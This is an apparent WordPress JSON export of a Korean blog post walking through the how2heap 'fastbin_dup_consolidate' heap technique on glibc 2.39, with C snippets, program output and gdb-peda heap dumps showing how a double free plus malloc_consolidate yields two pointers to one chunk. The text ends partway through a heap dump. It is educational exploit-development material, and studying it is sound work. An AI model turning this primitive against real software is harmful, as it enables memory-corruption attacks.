{"id":3562,"date":"2025-05-11T19:11:28","date_gmt":"2025-05-11T10:11:28","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3562"},"modified":"2025-05-11T22:57:18","modified_gmt":"2025-05-11T13:57:18","slug":"how2heap-glibc2-39-fastbin_dup_consolidate","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3562","title":{"rendered":"[how2heap\/glibc2.39] fastbin_dup_consolidate"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\ud658\uacbd<\/h3>\n\n\n\n<p>Ubuntu GLIBC 2.39-0ubuntu8.4 \/ Ubuntu 24.04.1 LTS x86_64<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc694\uc57d<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>tcache 7\uac1c\ub97c \uc804\ubd80 \ub2e4\ucc44\uc6b4\ub2e4\uc74c, fastbin p1 \ud560\ub2f9. \uc5ec\uae30\uc11c\ub294 <code>malloc(0x40)<\/code> \uc0ac\uc6a9\ud568.<\/li>\n\n\n\n<li><code>free(p1)<\/code> p1 \ud560\ub2f9\ud574\uc81c.<\/li>\n\n\n\n<li><code>malloc_consolidate<\/code> \ud568\uc218 \ud2b8\ub9ac\uac70\ub97c \uc704\ud574 0x400 \ud06c\uae30 \uc774\uc0c1\uc758 \uccad\ud06c\ub97c p2\uc5d0 \ud560\ub2f9. \uc5ec\uae30\uc11c \ud560\ub2f9\ubc1b\ub294 \uc8fc\uc18c\ub294 p1\uacfc \ub3d9\uc77c.<\/li>\n\n\n\n<li>\uc774\uc804 p1\uc744 \ud55c\ubc88\ub354 free. (Double-free)<\/li>\n\n\n\n<li>\ud55c\ubc88\ub354 0x400 \ud06c\uae30 \uc774\uc0c1\uc758 \uccad\ud06c\ub97c \ud560\ub2f9. \uc774\ub54c, p2\uc640 p3 \uc8fc\uc18c \uc804\ubd80 \ub3d9\uc77c\ud558\ubbc0\ub85c deduplication \ub2ec\uc131\ud568.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\ub0b4\uc6a9<\/h3>\n\n\n\n<p>\uc774 \ubb38\uc11c\ub294 \uc8fc\ub85c <code>malloc_consolidate<\/code> \ud568\uc218\uc758 \ub3d9\uc791\uc744 \uc2dc\uc5f0\ud558\uace0, \uc774\ub97c \uc774\uc911 \ud574\uc81c(double free)\uc640 \uacb0\ud569\ud558\uc5ec \ub3d9\uc77c\ud55c \ub300\ud615 \uccad\ud06c\uc5d0 \ub300\ud55c \ub450 \uac1c\uc758 \ud3ec\uc778\ud130\ub97c \uc5bb\ub294 \ubc29\ubc95\uc744 \uc124\uba85\ud558\ub294 \ub370 \uc0ac\uc6a9\ub429\ub2c8\ub2e4. \uc774\ub294 \uc77c\ubc18\uc801\uc73c\ub85c <code>prev_inuse<\/code> \ud50c\ub798\uadf8 \uac80\uc0ac\ub85c \uc778\ud574 \uc9c1\uc811\uc801\uc73c\ub85c \uc218\ud589\ud558\uae30 \uc5b4\ub824\uc6b4 \uc791\uc5c5\uc785\ub2c8\ub2e4. \ud765\ubbf8\ub86d\uac8c\ub3c4, \ud2b9\uc815 \ud06c\uae30\uc758 tcache \uccad\ud06c\uc5d0\ub3c4 \uc774 \uae30\ubc95\uc774 \uc801\uc6a9\ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><code>malloc_consolidate<\/code> \ud568\uc218\ub294 \uae30\ubcf8\uc801\uc73c\ub85c \ubaa8\ub4e0 fastbin \uccad\ud06c\ub97c \uc778\uc811\ud55c \uccad\ud06c\uc640 \ubcd1\ud569\ud558\uace0, \uc774\ub97c unsorted bin\uc5d0 \ub123\uc73c\uba70, \uac00\ub2a5\ud558\ub2e4\uba74 top \uccad\ud06c\uc640\ub3c4 \ubcd1\ud569\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>glibc \ubc84\uc804 2.35 \uae30\uc900\uc73c\ub85c, \uc774 \ud568\uc218\ub294 \ub2e4\uc74c\uc758 \ub2e4\uc12f \uac00\uc9c0 \uacbd\uc6b0\uc5d0\ub9cc \ud638\ucd9c\ub429\ub2c8\ub2e4:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>_int_malloc<\/code>: \ub300\ud615 \uccad\ud06c\uac00 \ud560\ub2f9\ub420 \ub54c<\/li>\n\n\n\n<li><code>_int_malloc<\/code>: \ud574\ub2f9 \ud06c\uae30\uc758 bin\uc774 \uc5c6\uace0 top \uccad\ud06c\uac00 \ub108\ubb34 \uc791\uc744 \ub54c<\/li>\n\n\n\n<li><code>_int_free<\/code>: \uccad\ud06c \ud06c\uae30\uac00 <code>FASTBIN_CONSOLIDATION_THRESHOLD<\/code> (65536) \uc774\uc0c1\uc77c \ub54c<\/li>\n\n\n\n<li><code>mtrim<\/code>: \ud56d\uc0c1 \ud638\ucd9c<\/li>\n\n\n\n<li><code>__libc_mallopt<\/code>: \ud56d\uc0c1 \ud638\ucd9c<\/li>\n<\/ol>\n\n\n\n<p>\uc6b0\ub9ac\ub294 \uccab \ubc88\uc9f8 \uacbd\uc6b0\uc5d0 \ucd08\uc810\uc744 \ub9de\ucd9c \uac83\uc774\ubbc0\ub85c, small bin\uc5d0 \uc18d\ud558\uc9c0 \uc54a\ub294 \uccad\ud06c\ub97c \ud560\ub2f9\ud574\uc57c \ud569\ub2c8\ub2e4. \uc774\ub294 \ud574\ub2f9 \uac80\uc0ac\uc5d0\uc11c &#8216;else&#8217; \ubd84\uae30\ub85c \ub4e4\uc5b4\uac00\ub824\ub294 \uac83\uc774\uba70, \ub530\ub77c\uc11c \uccad\ud06c \ud06c\uae30\uac00 0x400 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4 (\uc989, \ub300\ud615 \uccad\ud06c). \ud2b9\ud788, \uac00\uc7a5 \ud070 tcache \ud06c\uae30 \uccad\ud06c\ub294 0x410\uc774\ubbc0\ub85c, \uccad\ud06c \ud06c\uae30\uac00 [0x400, 0x410] \ubc94\uc704\uc5d0 \uc788\ub2e4\uba74 \uc774\uc911 \ud574\uc81c\ub97c \ud65c\uc6a9\ud558\uc5ec tcache \ud06c\uae30 \uccad\ud06c\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.<\/h3>\n\n\n\n<p>tcache\ub97c \uc804\ubd80 \ub2e4 \ucc44\uc6b0\uace0 fastbin\uc5d0 \ud560\ub2f9\ud558\uae30 \uc704\ud574, \ucd1d 8\ubc88 \ud560\ub2f9\uc2dc\ud0a4\uace0 \ucc98\uc74c \uae30\uc900 \ub098\uba38\uc9c0 7\uac1c\ub97c free\uc2dc\ud0b4.<\/p>\n\n\n\n<p>\uc774 \uae30\ubc95\uc740 <code>malloc_consolidate<\/code>\uc640 \uc774\uc911 \ud574\uc81c(double free)\ub97c \ud65c\uc6a9\ud558\uc5ec tcache \ub0b4\uc5d0\uc11c \ub3d9\uc77c\ud55c \uccad\ud06c\uc5d0 \ub300\ud55c \ud3ec\uc778\ud130\ub97c \uc911\ubcf5\ud560 \uc218 \uc788\uac8c \ub9cc\ub4ed\ub2c8\ub2e4. \uc774\ub97c \uc704\ud574 \uba3c\uc800 tcache\ub97c \ucc44\uc6cc\uc11c fastbin \uc0ac\uc6a9\uc744 \uac15\uc81c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf54\ub4dc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">printf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i &lt; 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\t\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i &lt; 7; i++)\n\t\tfree(ptr[i]);\n<\/pre>\n\n\n\n<p>\uacb0\uacfc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\nLets prepare to fill up the tcache in order to force fastbin usage...\n\nAllocate another chunk of the same size p1=0x5555555598e0\nFill up the tcache...<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x555555559000      0x0                 0x290                Used                None              None\n0x555555559290      0x0                 0x410                Used                None              None\n0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None\n0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None\n0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None\n0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None\n0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None\n0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None\n0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None\n0x5555555598d0      0x0                 0x50                 Used                None              None\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x555555559920 (size : 0x206e0)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x0\n(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"294\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-18.png\" alt=\"\" class=\"wp-image-3563\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-18.png 674w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-18-300x131.png 300w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">2.<\/h3>\n\n\n\n<p>fastbin\uc5d0 \ud574\ub2f9\ub418\ub294 p1\uc8fc\uc18c\ub97c \ud560\ub2f9\ud574\uc81c\ud568.<\/p>\n\n\n\n<p>p1 \uccad\ud06c\uc5d0 \uc554\ud638\ud654\ub41c fd\uac00 \uc801\ud798.<\/p>\n\n\n\n<p>\ucf54\ub4dc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">printf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\nfree(p1);<\/pre>\n\n\n\n<p>\uacb0\uacfc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Now freeing p1 will add it to the fastbin.<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x555555559000      0x0                 0x290                Used                None              None\n0x555555559290      0x0                 0x410                Used                None              None\n0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None\n0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None\n0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None\n0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None\n0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None\n0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None\n0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None\n0x5555555598d0      0x0                 0x50                 Freed        0x555555559              None\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x5555555598d0 --> 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x555555559920 (size : 0x206e0)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x0\n(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"701\" height=\"339\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-19.png\" alt=\"\" class=\"wp-image-3564\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-19.png 701w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-19-300x145.png 300w\" sizes=\"auto, (max-width: 701px) 100vw, 701px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3.<\/h3>\n\n\n\n<p><code>malloc_consolidate<\/code>\ub97c \ud2b8\ub9ac\uac70\ud558\ub824\uba74 \ub300\ud615 \uccad\ud06c \ud06c\uae30(\u2265 0x400)\uc758 \uccad\ud06c\ub97c \ud560\ub2f9\ud574\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\ub294 \uc694\uccad \ud06c\uae30 \uae30\uc900\uc73c\ub85c\ub294 \u2265 0x3f0\uc5d0 \ud574\ub2f9\ud569\ub2c8\ub2e4. \uc6b0\ub9ac\ub294 0x400 \ubc14\uc774\ud2b8\ub97c \uc694\uccad\ud560 \uac83\uc774\uba70, \uc774\ub294 \uccad\ud06c \ud06c\uae30 0x410\uc758 tcache \ud06c\uae30 \uccad\ud06c\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p><strong>tcache \ud06c\uae30\uc758 \uccad\ud06c \uc0dd\uc131\ub41c p2 = 0x5555555598e0<\/strong><\/p>\n\n\n\n<p>\uba3c\uc800, <code>malloc_consolidate<\/code>\ub294 fast \uccad\ud06c\uc778 p1\uc744 top\uacfc \ubcd1\ud569\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8 \ub2e4\uc74c, p2\ub294 \uadf8\uac83\ubcf4\ub2e4 \ud06c\uac70\ub098 \uac19\uc740 \uc790\uc720 \uccad\ud06c\uac00 \uc5c6\uae30 \ub54c\ubb38\uc5d0 top\uc5d0\uc11c \ud560\ub2f9\ub429\ub2c8\ub2e4. \ub530\ub77c\uc11c p1 = p2\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf54\ub4dc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">printf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n        printf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n        printf(\"a tcache-sized chunk with chunk size 0x410 \");\n        void* p2 = malloc(CHUNK_SIZE);\n\n        printf(\"p2=%p.\\n\", p2);\n        \n        printf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n        printf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n        assert(p1 == p2);<\/pre>\n\n\n\n<p>\uacb0\uacfc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\nwhich corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\na tcache-sized chunk with chunk size 0x410 p2=0x5555555598e0.\n\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\nThen, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\nWe will double free p1, which now points to the 0x410 chunk we just allocated (p2).<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x555555559000      0x0                 0x290                Used                None              None\n0x555555559290      0x0                 0x410                Used                None              None\n0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None\n0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None\n0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None\n0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None\n0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None\n0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None\n0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None\n0x5555555598d0      0x0                 0x410                Used                None              None\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x555555559ce0 (size : 0x20320)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x0\n(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"699\" height=\"350\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-20.png\" alt=\"\" class=\"wp-image-3565\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-20.png 699w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-20-300x150.png 300w\" sizes=\"auto, (max-width: 699px) 100vw, 699px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">4.<\/h3>\n\n\n\n<p>\uc6b0\ub9ac\ub294 \uc774\uc81c p1\uc744 \uc774\uc911 \ud574\uc81c(double free)\ud560 \uac83\uc785\ub2c8\ub2e4. \uc774 p1\uc740 \ubc29\uae08 \ud560\ub2f9\ud55c 0x410 \ud06c\uae30\uc758 \uccad\ud06c(p2)\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774 \uccad\ud06c\ub294 \ud604\uc7ac tcache\uc5d0 \uc788\uac70\ub098(\ub610\ub294 \ucc98\uc74c\uc5d0 0x410\ubcf4\ub2e4 \ud070 \uccad\ud06c \ud06c\uae30\ub97c \uc120\ud0dd\ud588\ub2e4\uba74 top\uacfc \ubcd1\ud569\ub418\uc5c8\uc744 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4).<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c p1\uc740 \uc774\uc911 \ud574\uc81c\ub418\uc5c8\uace0, p2\ub294 \ud574\uc81c\ub418\uc9c0 \uc54a\uc558\uc9c0\ub9cc \uc774\uc81c\ub294 free \uccad\ud06c\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf54\ub4dc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">printf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n        free(p1); \/\/ vulnerability (double free)\n        printf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n        printf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");<\/pre>\n\n\n\n<p>\uacb0\uacfc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\nIt is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\nSo p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x555555559000      0x0                 0x290                Used                None              None\n0x555555559290      0x0                 0x410                Used                None              None\n0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None\n0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None\n0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None\n0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None\n0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None\n0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None\n0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None\n0x5555555598d0      0x0                 0x410                Freed        0x555555559              None\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x555555559ce0 (size : 0x20320)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x0\n(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0\n(0x410)   tcache_entry[63](1): 0x5555555598e0<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"356\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-21.png\" alt=\"\" class=\"wp-image-3566\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-21.png 680w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-21-300x157.png 300w\" sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">4.<\/h3>\n\n\n\n<p>\uc6b0\ub9ac\ub294 0x400 \ubc14\uc774\ud2b8\ub97c \uc694\uccad\ud560 \uac83\uc785\ub2c8\ub2e4. \uc774\ub294 \ud604\uc7ac tcache bin\uc5d0 \uc788\ub294 0x410 \ud06c\uae30\uc758 \uccad\ud06c\ub97c \uc6b0\ub9ac\uc5d0\uac8c \uc904 \uac83\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>p2\uc640 p1\uc740 \uc5ec\uc804\ud788 \uadf8 \uccad\ud06c\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\uc81c \uc6b0\ub9ac\ub294 \uc9c1\uc811 \ud574\uc81c\ud558\uc9c0 \uc54a\uc740 \ub450 \uac1c\uc758 \ud3ec\uc778\ud130(p2\uc640 p3)\ub97c \uac16\uac8c \ub418\uc5c8\uace0, \ub458 \ub2e4 \ub3d9\uc77c\ud55c tcache \ud06c\uae30\uc758 \uccad\ud06c\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>p2 = 0x5555555598e0, p3 = 0x5555555598e0<\/p>\n\n\n\n<p>\uc6b0\ub9ac\ub294 \uc911\ubcf5(deduplication)\uc744 \ub2ec\uc131\ud588\uc2b5\ub2c8\ub2e4!<\/p>\n\n\n\n<p>\ucc38\uace0: \uc774 \uc911\ubcf5\uc740 \ub354 \ud070 \uccad\ud06c \ud06c\uae30\uc5d0\uc11c\ub3c4 \uc791\ub3d9\ud588\uc744 \uac83\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774 \uacbd\uc6b0 \uccad\ud06c\ub4e4\uc740 \ub2e8\uc9c0 tcache bin\uc774 \uc544\ub2c8\ub77c top\uc5d0\uc11c \uac00\uc838\uc640\uc84c\uc744 \ubfd0\uc774\uba70, \ub098\uba38\uc9c0 \ub3d9\uc791\uc740 \ub3d9\uc77c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\uac83\uc740 \uaf64 \uba4b\uc9c4 \uc77c\uc785\ub2c8\ub2e4. \uc65c\ub0d0\ud558\uba74 \ud070 \ud06c\uae30\uc758 \uccad\ud06c\ub4e4\uc740 \uc77c\ubc18\uc801\uc73c\ub85c <code>PREV_INUSE<\/code> \uac80\uc0ac\ub85c \uc778\ud574 \uc9c1\uc811\uc801\uc778 double free\uc5d0 \uc800\ud56d\ud558\uae30 \ub54c\ubb38\uc5d0 \uc911\ubcf5\uc2dc\ud0a4\uae30 \uc5b4\ub835\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf54\ub4dc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">    printf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\\\n\");\n    printf(\"the tcache bin. p2 and p1 will still be pointing to it.\\\\n\");\n    void *p3 = malloc(CHUNK_SIZE);\n\n    assert(p3 == p2);\n\n    printf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n        printf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n        printf(\"We have achieved duplication!\\n\\n\");\n\n        printf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n        printf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n        printf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n        printf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");<\/pre>\n\n\n\n<p>\uacb0\uacfc:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\nthe tcache bin. p2 and p1 will still be pointing to it.\nWe now have two pointers (p2 and p3) that haven't been directly freed\nand both point to the same tcache sized chunk. p2=0x5555555598e0 p3=0x5555555598e0\nWe have achieved duplication!\n\nNote: This duplication would have also worked with a larger chunk size, the chunks would\nhave behaved the same, just being taken from the top instead of from the tcache bin.\nThis is pretty cool because it is usually difficult to duplicate large sized chunks\nbecause they are resistant to direct double free's due to their PREV_INUSE check.<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x555555559000      0x0                 0x290                Used                None              